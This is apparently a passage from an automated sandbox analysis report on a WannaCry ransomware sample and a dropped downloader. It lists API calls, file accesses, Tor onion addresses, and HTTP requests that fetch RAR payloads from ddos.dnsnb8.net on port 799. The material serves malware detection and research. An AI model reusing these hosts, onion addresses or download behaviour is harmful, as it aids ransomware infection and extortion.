              Source: C:\Users\user\Desktop\taskdl.exeCode function: 10_2_00401080 GetDriveTypeW,Sleep,swprintf,swprintf,FindFirstFileW,swprintf,?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N@Z,wcslen,?_Grow@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAE_NI_N@Z,?_Eos@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEXI@Z,?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N@Z,FindNextFileW,FindClose,DeleteFileW,?_C@?1??_Nullstr@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@CAPBGXZ@4GB,?_C@?1??_Nullstr@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@CAPBGXZ@4GB,DeleteFileW,?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N@Z,?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N@Z,10_2_00401080
              Source: C:\Users\user\AppData\Local\Temp\wBQInv.exeCode function: 2_2_00412B8C memset,GetLogicalDriveStringsA,CreateThread,GetDriveTypeA,CreateThread,lstrlen,WaitForMultipleObjects,CreateThread,2_2_00412B8C
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile opened: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\ClipSVC\Archive\Apps\~SDF32F.tmpJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile opened: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\ClipSVC\~SD7E4B.tmpJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile opened: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\~SD9453.tmpJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile opened: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\ClipSVC\GenuineTicket\~SDF33F.tmpJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile opened: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\ClipSVC\Archive\~SD7E4C.tmpJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile opened: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Caches\~SD7E4A.tmpJump to behavior

              Networking

              barindex
              Found Tor onion address
              Source: ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe, 00000000.00000002.3719819751.000000001000C000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: C13AM4VW2dhxYgXeQepoHkHSQuy6NgaEb94gx7ekbenv2riucmf.onion;57g7spgrzlojinas.onion;xxlvbrloxvriy2c5.onion;76jdd2ir2embyv47.onion;cwwnhwhlz52maqm7.onion;https://dist.torproject.org/torbrowser/6.5.1/tor-win32-0.2.9.10.zipP
              Uses known network protocols on non-standard ports
              Source: unknownNetwork traffic detected: HTTP traffic on port 49699 -> 799
              Source: unknownNetwork traffic detected: HTTP traffic on port 49700 -> 799
              Source: unknownNetwork traffic detected: HTTP traffic on port 49701 -> 799
              Source: global trafficTCP traffic: 192.168.2.7:49699 -> 44.221.84.105:799
              Source: Joe Sandbox ViewIP Address: 44.221.84.105 44.221.84.105
              Source: global trafficHTTP traffic detected: GET /cj//k1.rar HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: ddos.dnsnb8.net:799Connection: Keep-Alive
              Source: global trafficHTTP traffic detected: GET /cj//k2.rar HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: ddos.dnsnb8.net:799Connection: Keep-Alive
              Source: global trafficHTTP traffic detected: GET /cj//k3.rar HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: ddos.dnsnb8.net:799Connection: Keep-Alive
              Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
              Source: C:\Users\user\AppData\Local\Temp\wBQInv.exeCode function: 2_2_00411099 wsprintfA,WinExec,lstrlen,wsprintfA,wsprintfA,URLDownloadToFileA,lstrlen,Sleep,2_2_00411099
              Source: global trafficHTTP traffic detected: GET /cj//k1.rar HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: ddos.dnsnb8.net:799Connection: Keep-Alive
              Source: global trafficHTTP traffic detected: GET /cj//k2.rar HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: ddos.dnsnb8.net:799Connection: Keep-Alive
              Source: global trafficHTTP traffic detected: GET /cj//k3.rar HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: ddos.dnsnb8.net:799Connection: Keep-Alive
              Source: global trafficDNS traffic detected: DNS query: ddos.dnsnb8.net
              Source: wBQInv.exe, 00000002.00000003.1257865336.0000000000DC0000.00000004.00001000.00020000.00000000.sdmp, wBQInv.exe, 00000002.00000002.1607487222.0000000000413000.00000002.00000001.01000000.00000004.sdmpString found in binary or memory: http://%s:%d/%s/%sZwQuerySystemInformationntdll.dllNtSystemDebugControlSeDebugPrivilege%s%.8x.bat:DE
              Source: wBQInv.exe, 00000002.00000003.1276194123.0000000000E77000.00000004.00000020.00020000.00000000.sdmp, wBQInv.exe, 00000002.00000002.1607845694.0000000000E16000.00000004.00000020.00020000.00000000.sdmp, wBQInv.exe, 00000002.00000002.1607845694.0000000000DDE000.00000004.00000020.00020000.00000000.sdmp, wBQInv.exe, 00000002.00000003.1276194123.0000000000E6E000.00000004.00000020.00020000.00000000.sdmp, wBQInv.exe, 00000002.00000002.1607845694.0000000000E77000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ddos.dnsnb8.net:799/cj//k1.rar
              Source: wBQInv.exe, 00000002.00000003.1276194123.0000000000E77000.00000004.00000020.00020000.00000000.sdmp, wBQInv.exe, 00000002.00000002.1607845694.0000000000E77000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ddos.dnsnb8.net:799/cj//k1.rarE
              Source: wBQInv.exe, 00000002.00000002.1607845694.0000000000E77000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ddos.dnsnb8.net:799/cj//k2.rar
              Source: wBQInv.exe, 00000002.00000002.1607845694.0000000000E77000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ddos.dnsnb8.net:799/cj//k3.rar
              Source: wBQInv.exe, 00000002.00000002.1607845694.0000000000E77000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ddos.dnsnb8.net:799/cj//k3.rar-
              Source: wBQInv.exe, 00000002.00000002.1607845694.0000000000E77000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ddos.dnsnb8.net:799/cj//k3.rar5
              Source: wBQInv.exe, 00000002.00000002.1607845694.0000000000E77000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ddos.dnsnb8.net:799/cj//k3.rar_
              Source: wBQInv.exe, 00000002.00000002.1607845694.0000000000E16000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ddos.dnsnb8.net:799/cj//k3.rarcC:
              Source: m_danish.wnry.0.drString found in binary or memory: http://schemas.micr
              Source: svchost.exe, 00000004.00000002.1430182760.000002DC08213000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.bingmapsportal.com
              Source: ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe, 00000000.00000003.2291348728.0000000000963000.00000004.00000020.00020000.00000000.sdmp, ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe, 00000000.00000003.1316026746.000000000090E000.00000004.00000020.00020000.00000000.sdmp, ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe, 00000000.00000003.1798063418.0000000000960000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.btcfrog.com/qr/bitcoinPNG.php?address=%s
              Source: ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe, 00000000.00000003.2291348728.0000000000963000.00000004.00000020.00020000.00000000.sdmp, ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe, 00000000.00000003.1316026746.000000000090E000.00000004.00000020.00020000.00000000.sdmp, ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe, 00000000.00000003.1798063418.0000000000960000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.btcfrog.com/qr/bitcoinPNG.php?address=%smailto:%shttps://www.google.com/search?q=how
              Source: svchost.exe, 00000026.00000002.3709091663.00000168A0332000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.w3.
              Source: svchost.exe, 00000004.00000003.1417833543.000002DC08257000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000004.00000002.1431265329.000002DC08258000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://appexmapsappupdate.blob.core.windows.net
              Source: ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe, 00000000.00000002.3712568071.0000000002D4B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://bugs.chromium.org/p/chromium/issues/detail?id=378607
              Source: ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe, 00000000.00000002.3712568071.0000000002D4B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://bugs.chromium.org/p/chromium/issues/detail?id=449857
              Source: ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe, 00000000.00000002.3712568071.0000000002D4B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://bugs.chromium.org/p/chromium/issues/detail?id=470258
              Source: ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe, 00000000.00000002.3712568071.0000000002D4B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://bugs.chromium.org/p/chromium/issues/detail?id=589347
              Source: ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe, 00000000.00000002.3712568071.0000000002D4B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://bugs.webkit.org/show_bug.cgi?id=137337
              Source: ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe, 00000000.00000002.3712568071.0000000002D4B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://bugs.webkit.org/show_bug.cgi?id=29084
              Source: ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe, 00000000.00000002.3712568071.0000000002D4B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=491668
              Source: ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe, 00000000.00000002.3712568071.0000000002D4B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=649285
              Source: ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe, 00000000.00000002.3712568071.0000000002D4B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=687787
              Source: svchost.exe, 00000004.00000003.1417833543.000002DC08257000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000004.00000002.1431265329.000002DC08258000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dev.ditu.live.com/REST/V1/MapControlConfiguration/native/
              Source: svchost.exe, 00000004.00000002.1431627052.000002DC08263000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dev.ditu.live.com/REST/v1/Imagery/Copyright/
              Source: svchost.exe, 00000004.00000002.1431925217.000002DC08270000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000004.00000003.1411800337.000002DC0826E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dev.ditu.live.com/REST/v1/JsonFilter/VenueMaps/data/
              Source: svchost.exe, 00000004.00000003.1417833543.000002DC08257000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000004.00000002.1431265329.000002DC08258000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dev.ditu.live.com/REST/v1/Locations
              Source: svchost.exe, 00000004.00000002.1431816718.000002DC08268000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000004.00000003.1413170981.000002DC08267000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dev.ditu.live.com/REST/v1/Routes/
              Source: svchost.exe, 00000004.00000003.1410666875.000002DC08275000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000004.00000002.1432110894.000002DC08277000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dev.ditu.live.com/REST/v1/Transit/Stops/
              Source: svchost.exe, 00000004.00000003.1417833543.000002DC08257000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000004.00000002.1431265329.000002DC08258000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dev.ditu.live.com/mapcontrol/logging.ashx
              Source: svchost.exe, 00000004.00000003.1413656484.000002DC08262000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000004.00000003.1416923421.000002DC0825A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000004.00000002.1431627052.000002DC08263000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000004.00000002.1430382033.000002DC0822B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dev.virtualearth.net/REST/v1/Imagery/Copyright/
              Source: svchost.exe, 00000004.00000003.1417833543.000002DC08257000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000004.00000002.1431265329.000002DC08258000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dev.virtualearth.net/REST/v1/Locations
              Source: svchost.exe, 00000004.00000002.1431816718.000002DC08268000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000004.00000003.1413170981.000002DC08267000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000004.00000002.1430382033.000002DC0822B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dev.virtualearth.net/REST/v1/Routes/
              Source: svchost.exe, 00000004.00000003.1417833543.000002DC08257000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000004.00000002.1431265329.000002DC08258000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dev.virtualearth.net/REST/v1/Routes/Driving
              Source: svchost.exe, 00000004.00000003.1417833543.000002DC08257000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000004.00000002.1431265329.000002DC08258000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dev.virtualearth.net/REST/v1/Routes/Transit
              Source: svchost.exe, 00000004.00000003.1417833543.000002DC08257000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000004.00000002.1431265329.000002DC08258000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dev.virtualearth.net/REST/v1/Routes/Walking
              Source: svchost.exe, 00000004.00000003.1413656484.000002DC08262000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000004.00000002.1431627052.000002DC08263000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000004.00000002.1430382033.000002DC0822B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dev.virtualearth.net/REST/v1/Traffic/Incidents/
              Source: svchost.exe, 00000004.00000002.1430992301.000002DC08242000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000004.00000003.1417660737.000002DC08241000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dev.virtualearth.net/REST/v1/Transit/Schedules/
              Source: svchost.exe, 00000004.00000003.1417833543.000002DC08257000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000004.00000002.1431265329.000002DC08258000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dev.virtualearth.net/mapcontrol/logging.ashx
              Source: svchost.exe, 00000004.00000003.1413656484.000002DC08262000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000004.00000002.1431627052.000002DC08263000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dev.virtualearth.net/webservices/v1/LoggingService/LoggingService.svc/Log?
              Source: ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe, 00000000.00000002.3712568071.0000000002D4B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://developer.mozilla.org/en-US/docs/CSS/display
              Source: ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe, 00000000.00000002.3719819751.000000001000C000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://dist.torproject.org/torbrowser/6.5.1/tor-win32-0.2.9.10.zip
              Source: ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe, 00000000.00000002.3719819751.000000001000C000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://dist.torproject.org/torbrowser/6.5.1/tor-win32-0.2.9.10.zipP
              Source: ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe, 00000000.00000002.3712568071.0000000002D4B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://drafts.csswg.org/cssom/#resolved-values
              Source: svchost.exe, 00000004.00000003.1417921521.000002DC08231000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000004.00000003.1413656484.000002DC08262000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000004.00000002.1431627052.000002DC08263000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dynamic.api.tiles.ditu.live.com/odvs/gd?pv=1&r=
              Source: svchost.exe, 00000004.00000003.1417660737.000002DC08241000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dynamic.api.tiles.ditu.live.com/odvs/gdi?pv=1&r=
              Source: svchost.exe, 00000004.00000003.1413656484.000002DC08262000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000004.00000002.1431627052.000002DC08263000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dynamic.api.tiles.ditu.live.com/odvs/gdv?pv=1&r=
              Source: svchost.exe, 00000004.00000002.1430992301.000002DC08242000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000004.00000003.1417660737.000002DC08241000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000004.00000003.1414215402.000002DC0825D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dynamic.api.tiles.ditu.live.com/odvs/gri?pv=1&r=
              Source: svchost.exe, 00000004.00000003.1413734420.000002DC08261000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dynamic.t
              Source: svchost.exe, 00000004.00000003.1417833543.000002DC08257000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000004.00000002.1431265329.000002DC08258000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dynamic.t0.tiles.ditu.live.com/comp/gen.ashx
              Source: svchost.exe, 00000004.00000002.1431816718.000002DC08268000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000004.00000003.1413170981.000002DC08267000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000004.00000002.1430382033.000002DC0822B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://ecn.dev.virtualearth.net/REST/v1/Imagery/Copyright/
              Source: ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe, 00000000.00000002.3712568071.0000000002D4B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://github.com/eslint/eslint/issues/3229
              Source: ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe, 00000000.00000002.3712568071.0000000002D4B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://github.com/jquery/jquery/pull/557)
              Source: ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe, 00000000.00000002.3712568071.0000000002D4B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://github.com/jrburke/requirejs/wiki/Updating-existing-libraries#wiki-anon
              Source: ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe, 00000000.00000002.3712568071.0000000002D4B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://html.spec.whatwg.org/#strip-and-collapse-whitespace
              Source: ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe, 00000000.00000002.3712568071.0000000002D4B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://html.spec.whatwg.org/multipage/infrastructure.html#strip-and-collapse-whitespace
              Source: ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe, 00000000.00000002.3712568071.0000000002D4B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://html.spec.whatwg.org/multipage/syntax.html#attributes-2
              Source: ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe, 00000000.00000002.3712568071.0000000002D4B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://jsperf.com/getall-vs-sizzle/2
              Source: wBQInv.exe, 00000002.00000003.1276194123.0000000000E77000.00000004.00000020.00020000.00000000.sdmp, wBQInv.exe, 00000002.00000002.1607845694.0000000000E77000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com
              Source: ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe, 00000000.00000002.3712568071.0000000002D4B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://promisesaplus.com/#point-48
              Source: ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe, 00000000.00000002.3712568071.0000000002D4B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://promisesaplus.com/#point-54
              Source: ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe, 00000000.00000002.3712568071.0000000002D4B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://promisesaplus.com/#point-57
              Source: ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe, 00000000.00000002.3712568071.0000000002D4B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://promisesaplus.com/#point-59
              Source: ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe, 00000000.00000002.3712568071.0000000002D4B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://promisesaplus.com/#point-61
              Source: ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe, 00000000.00000002.3712568071.0000000002D4B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://promisesaplus.com/#point-64
              Source: ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe, 00000000.00000002.3712568071.0000000002D4B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://promisesaplus.com/#point-75
              Source: svchost.exe, 00000004.00000003.1417088659.000002DC08249000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.
              Source: svchost.exe, 00000004.00000003.1417660737.000002DC08241000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/comp/gen.ashx
              Source: svchost.exe, 00000004.00000002.1430458930.000002DC08237000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000004.00000003.1417088659.000002DC08249000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gd?pv=1&r=
              Source: svchost.exe, 00000004.00000003.1417088659.000002DC08249000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gdi?pv=1&r=
              Source: svchost.exe, 00000004.00000002.1430382033.000002DC0822B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gri?pv=1&r=
              Source: svchost.exe, 00000004.00000003.1417833543.000002DC08257000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000004.00000002.1431265329.000002DC08258000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://t0.ssl.ak.tiles.virtualearth.net/tiles/gen
              Source: svchost.exe, 00000004.00000003.1417833543.000002DC08257000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000004.00000002.1431265329.000002DC08258000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://tiles.virtualearth.net/tiles/cmd/StreetSideBubbleMetaData?north=
              Source: ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe, 00000000.00000002.3712568071.0000000002D4B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://web.archive.org/web/20100324014747/http://blindsignals.com/index.php/2009/07/jquery-delay/
              Source: ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe, 00000000.00000002.3712568071.0000000002D4B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://web.archive.org/web/20141116233347/http://fluidproject.org/blog/2008/01/09/getting-setting-a
              Source: ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe, 00000000.00000003.2291348728.0000000000963000.00000004.00000020.00020000.00000000.sdmp, ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe, 00000000.00000003.1316026746.000000000090E000.00000004.00000020.00020000.00000000.sdmp, ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe, 00000000.00000003.1798063418.0000000000960000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.google.com/search?q=how

              Spam, unwanted Advertisements and Ransom Demands

              barindex
              Detected Wannacry Ransomware
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeCode function: CreateFileA,GetFileSizeEx,ReadFile,memcmp,ReadFile,ReadFile,ReadFile,ReadFile,GlobalAlloc,ReadFile,_local_unwind2, WANACRY!0_2_004014A6
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeCode function: CreateFileW,CreateFileW,GetFileSizeEx,GetFileTime,ReadFile,ReadFile,ReadFile,ReadFile,_local_unwind2,SetFilePointer,SetFilePointer,swprintf,CreateFileW,CreateFileW,ReadFile,SetFilePointer,WriteFile,SetFilePointer,WriteFile,SetFilePointer,rand,WriteFile,WriteFile,WriteFile,WriteFile,WriteFile,SetFilePointer,ReadFile,WriteFile,SetFilePointer,ReadFile,WriteFile,_local_unwind2,SetFileTime,FindCloseChangeNotification,CloseHandle,MoveFileW,SetFileAttributesW,DeleteFileW,CloseHandle,MoveFileW,_local_unwind2, WANACRY!0_2_10001960
